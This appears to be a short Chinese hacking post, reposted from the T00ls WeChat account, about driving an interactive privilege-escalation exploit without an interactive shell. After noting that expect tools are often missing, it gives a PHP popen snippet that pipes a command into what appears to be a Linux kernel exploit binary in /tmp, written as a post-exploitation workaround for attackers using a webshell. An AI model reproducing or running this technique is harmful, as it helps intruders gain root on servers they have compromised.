【奇技淫巧】PHP 非交互式 执行交互式命令

提权转发不出来
只能出此下策
shell可以用except来执行交互命令
python 也有pexcept模块
perl也有except模块
但是默认不安装
咱们还是用牛逼的php吧
我就不解释了 看懂的人自然就懂了
代码

<?php
$sucommand = "/tmp/2.6.18-2011";
$fp = popen($sucommand ,"w");
@fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111");
@pclose($fp);?>

再补一张图

本文始发于微信公众号（T00ls）：【奇技淫巧】PHP 非交互式 执行交互式命令